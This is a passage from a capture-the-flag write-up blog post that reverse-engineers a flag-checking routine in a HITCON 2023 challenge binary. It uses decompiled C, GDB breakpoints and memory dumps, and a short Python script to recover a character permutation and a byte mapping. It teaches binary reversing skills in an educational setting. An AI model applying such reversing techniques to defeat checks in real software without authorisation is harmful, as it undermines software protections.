	__ptr&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;n &lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; __ptr&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;uVar23&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
	__ptr&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;uVar23&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; uVar1&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
	
	uVar23 &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; puVar21&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
	&lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;0x3f&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt; uVar23&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
		&lt;span class=&quot;token keyword&quot;&gt;goto&lt;/span&gt; panic&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
	uVar1 &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; __ptr&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;n &lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
	__ptr&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;n &lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; __ptr&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;uVar23&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
	__ptr&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;uVar23&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; uVar1&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
	
	puVar21 &lt;span class=&quot;token operator&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
	n &lt;span class=&quot;token operator&quot;&gt;-=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;while&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;n &lt;span class=&quot;token operator&quot;&gt;!=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;C&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;&lt;sup&gt;(Some variables are renamed for clarity.)&lt;/sup&gt;&lt;/p&gt;
&lt;p&gt;Does this look familiar?&lt;/p&gt;
&lt;p&gt;It’s good ol’ swap! (Though slightly &lt;a href=&quot;https://en.wikipedia.org/wiki/Loop_unrolling&quot;&gt;&lt;em&gt;unrolled&lt;/em&gt;&lt;/a&gt;.) There are eight of these loops, the only difference being the &lt;code&gt;memcpy&lt;/code&gt; source.&lt;/p&gt;
&lt;p&gt;So how do we reverse this? Generally, there are two approaches to take:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Static analysis. This means we reverse the binary by looking at the bytecode, assembly, decompiler, etc. We don&#39;t run or emulate anything.&lt;/li&gt;
&lt;li&gt;Dynamic analysis. In this approach, we observe the program&#39;s behaviour by running it. Common tools are &lt;code&gt;gdb&lt;/code&gt;, &lt;code&gt;strace&lt;/code&gt;, and &lt;code&gt;ltrace&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Approaching this statically seems faster, but integer semantics may get lost in translation. Our conclusion may be unstable.&lt;/p&gt;
&lt;p&gt;Thus, for fun (and practice), we&#39;ll go the dynamic route. Let&#39;s insert some breakpoints, input our flag of &lt;span class=&quot;spoiler&quot; tabindex=&quot;0&quot;&gt;64 unique characters (e.g. Base64 alphabet)&lt;/span&gt;, grab the permuted string, and construct a mapping.&lt;/p&gt;
&lt;p&gt;In GDB:&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-language=&quot;GDB&quot; class=&quot;command-line language-sh&quot; data-prompt=&quot;gdb&gt;&quot; data-continuation-prompt=&quot;&gt;&quot; data-continuation-str=&quot;  &quot; data-filter-output=&quot;out&gt;&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;command-line-prompt&quot;&gt;&lt;span data-prompt=&quot;gdb&gt;&quot;&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span data-prompt=&quot;gdb&gt;&quot;&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span data-prompt=&quot;gdb&gt;&quot;&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span data-prompt=&quot;gdb&gt;&quot;&gt;&lt;/span&gt;&lt;span data-continuation-prompt=&quot;&gt;&quot;&gt;&lt;/span&gt;&lt;span data-continuation-prompt=&quot;&gt;&quot;&gt;&lt;/span&gt;&lt;span data-continuation-prompt=&quot;&gt;&quot;&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span data-prompt=&quot;gdb&gt;&quot;&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span data-prompt=&quot;gdb&gt;&quot;&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span data-prompt=&quot;gdb&gt;&quot;&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token command&quot;&gt;start&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;Break to determine __ptr location.&lt;/span&gt;
&lt;span class=&quot;token command&quot;&gt;&lt;span class=&quot;token builtin class-name&quot;&gt;break&lt;/span&gt; *_ZN13seccomp_shell5shell6verify17h898bf5fa26dafbabE + &lt;span class=&quot;token number&quot;&gt;61&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;Break to grab permuted string.&lt;/span&gt;
&lt;span class=&quot;token command&quot;&gt;&lt;span class=&quot;token builtin class-name&quot;&gt;break&lt;/span&gt; *_ZN13seccomp_shell5shell6verify17h898bf5fa26dafbabE + &lt;span class=&quot;token number&quot;&gt;935&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;token command&quot;&gt;&lt;span class=&quot;token builtin class-name&quot;&gt;continue&lt;/span&gt;  &lt;/span&gt;
&lt;span class=&quot;token command&quot;&gt;server  &lt;/span&gt;
&lt;span class=&quot;token command&quot;&gt;run  &lt;/span&gt;
&lt;span class=&quot;token command&quot;&gt;flag abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;(breakpoint triggered)&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;Get location of __ptr.&lt;/span&gt;
&lt;span class=&quot;token command&quot;&gt;p &lt;span class=&quot;token variable&quot;&gt;$rax&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;$1 = 0x5555555d63e0&lt;/span&gt;
&lt;span class=&quot;token command&quot;&gt;&lt;span class=&quot;token builtin class-name&quot;&gt;continue&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;(breakpoint triggered)&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;Get permuted string.&lt;/span&gt;
&lt;span class=&quot;token command&quot;&gt;x/s 0x5555555d63e0&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;Rp5v+AZmM8XWy1sgNhTB/oCzYVdPrGn6KD3Q9lke4qtFxHb0uUOcS2jIEJfL7aiw&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;GDB&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;All that&#39;s left is to match the characters.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-python&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; string

p &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; string&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;ascii_letters &lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt; string&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;digits &lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&#39;+/&#39;&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;assert&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;len&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;p&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;64&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;p&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;# Permuted string obtained from GDB.&lt;/span&gt;
permuted &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&#39;Rp5v+AZmM8XWy1sgNhTB/oCzYVdPrGn6KD3Q9lke4qtFxHb0uUOcS2jIEJfL7aiw&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;64&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;

perm &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;64&lt;/span&gt;  &lt;span class=&quot;token comment&quot;&gt;# Permutation &lt;/span&gt;
rperm &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;64&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;# Reverse permutation&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt; i&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; c &lt;span class=&quot;token keyword&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;enumerate&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;p&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
	j &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; permuted&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;index&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;c&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
	perm&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;i&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; j
	rperm&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;j&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; i&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;Python&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;First part done!&lt;/p&gt;
&lt;h3 id=&quot;2-constructing-an-inverse-map&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/hitcon-2023-the-blade/#2-constructing-an-inverse-map&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; 2. Constructing An Inverse Map&lt;/h3&gt;
&lt;p&gt;Address: &lt;code&gt;113020&lt;/code&gt; – &lt;code&gt;11309c&lt;/code&gt;.&lt;/p&gt;
&lt;details open=&quot;&quot;&gt;&lt;summary&gt;Part 2 Decompile&lt;/summary&gt;&lt;div class=&quot;details-content&quot;&gt;
&lt;p&gt;Looks like a bunch of arithmetic.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-c&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-c&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;do&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    uVar23 &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    uVar18 &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    uVar3 &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; __ptr&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;lVar20&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    uVar19 &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0x101&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;do&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
        uVar25 &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; uVar3&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
        uVar27 &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; uVar18&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
        uVar3 &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; uVar19 &lt;span class=&quot;token operator&quot;&gt;%&lt;/span&gt; uVar25&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
        iVar24 &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;uVar27&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
        iVar26 &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;uVar23&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
        uVar23 &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; uVar27&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
        uVar18 &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;ulong&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;iVar26 &lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;uVar19 &lt;span class=&quot;token operator&quot;&gt;/&lt;/span&gt; uVar25&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt; iVar24&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
        uVar19 &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; uVar25&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;while&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;short&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;uVar3 &lt;span class=&quot;token operator&quot;&gt;!=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    __ptr&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;lVar20&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;uVar27 &lt;span class=&quot;token operator&quot;&gt;&amp;amp;&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0xffff&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0xf&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt; uVar27 &lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt;
                    &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;uVar27 &lt;span class=&quot;token operator&quot;&gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0xf&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt; iVar24&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt; iVar26 &lt;span class=&quot;token operator&quot;&gt;&amp;amp;&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0xffffU&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;/&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0x101&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0x71U&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;^&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0x89&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    lVar20 &lt;span class=&quot;token operator&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;while&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;lVar20 &lt;span class=&quot;token operator&quot;&gt;!=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0x40&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;C&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;&lt;sup&gt;Some type-casts were removed to simplify the code.&lt;/sup&gt;&lt;/p&gt;
&lt;div class=&quot;details-collapse-bottom&quot;&gt;&lt;sub&gt;&lt;a class=&quot;details-collapse-button&quot;&gt;(collapse)&lt;/a&gt;&lt;/sub&gt;&lt;/div&gt;&lt;/div&gt;&lt;/details&gt;
&lt;p&gt;If we reverse this statically, it &lt;em&gt;seems&lt;/em&gt; like we get a one-to-one mapping of sorts... almost a bijection... but perhaps our implementation is wrong? Better check it with dynamic analysis. 🫠&lt;/p&gt;
&lt;p&gt;By &amp;quot;&lt;em&gt;mapping&lt;/em&gt;&amp;quot;, I mean values are &lt;em&gt;transformed&lt;/em&gt; and mapped from one value to another. For example, &lt;code&gt;a&lt;/code&gt; (0x61) is mapped to &lt;code&gt;u&lt;/code&gt; (0x75), while &lt;code&gt;b&lt;/code&gt; (0x62) is mapped to &lt;code&gt;q&lt;/code&gt; (0x71).&lt;/p&gt;
&lt;p&gt;Like before, we &lt;em&gt;could&lt;/em&gt; reverse this part statically... but overflow and types are tricky to get right. So we&#39;ll go dynamic again!&lt;/p&gt;
&lt;p&gt;Let&#39;s start with some basic GDB analysis:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;What breakpoints should we add to check the result of one map iteration?&lt;/li&gt;
&lt;li&gt;What memory location should we examine?&lt;/li&gt;
&lt;li&gt;(And after all that, can you derive the mapping function?)&lt;/li&gt;
&lt;/ul&gt;
&lt;details&gt;&lt;summary&gt;Oh where to go?&lt;/summary&gt;&lt;div class=&quot;details-content&quot;&gt;
&lt;p&gt;We&#39;ll break after &lt;span class=&quot;spoiler&quot; tabindex=&quot;0&quot;&gt;the loop, at &lt;code&gt;11309e&lt;/code&gt;&lt;/span&gt;.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-language=&quot;GDB&quot; class=&quot;command-line language-sh&quot; data-prompt=&quot;gdb&gt;&quot; data-filter-output=&quot;out&gt;&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;command-line-prompt&quot;&gt;&lt;span data-prompt=&quot;gdb&gt;&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token command&quot;&gt;&lt;span class=&quot;token builtin class-name&quot;&gt;break&lt;/span&gt; *_ZN13seccomp_shell5shell6verify17h898bf5fa26dafbabE + &lt;span class=&quot;token number&quot;&gt;1070&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;GDB&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;As for memory location, the code still modifies &lt;code&gt;__ptr&lt;/code&gt;, so we&#39;ll read from the same location.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-language=&quot;GDB&quot; class=&quot;command-line language-sh&quot; data-prompt=&quot;gdb&gt;&quot; data-filter-output=&quot;out&gt;&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;command-line-prompt&quot;&gt;&lt;span data-prompt=&quot;gdb&gt;&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token command&quot;&gt;x/16wx 0x5555555d63e0&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;GDB&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class=&quot;details-collapse-bottom&quot;&gt;&lt;sub&gt;&lt;a class=&quot;details-collapse-button&quot;&gt;(collapse)&lt;/a&gt;&lt;/sub&gt;&lt;/div&gt;&lt;/div&gt;&lt;/details&gt;
&lt;p&gt;Two things I&#39;d like to point out:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Previously, we used &lt;code&gt;x/s&lt;/code&gt; to print a string from memory. This time, I used &lt;code&gt;x/16wx&lt;/code&gt; to print bytes, since some mapped bytes aren&#39;t printable.&lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;https://trebledj.me/posts/hitcon-2023-the-blade/#fn1&quot; id=&quot;fnref1&quot;&gt;1&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;There&#39;s another problem... previously, we input the bytes through &lt;code&gt;flag &amp;lt;bytes&amp;gt;&lt;/code&gt;, and this is great if we&#39;re using printable chars. But what about &lt;em&gt;non-printable&lt;/em&gt; chars? There are different solutions around this:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Employ &lt;a href=&quot;https://trebledj.me/posts/gdb-cheatsheet/#input-non-printable-characters&quot;&gt;GDB input tricks&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;Track cycles of characters.&lt;/li&gt;
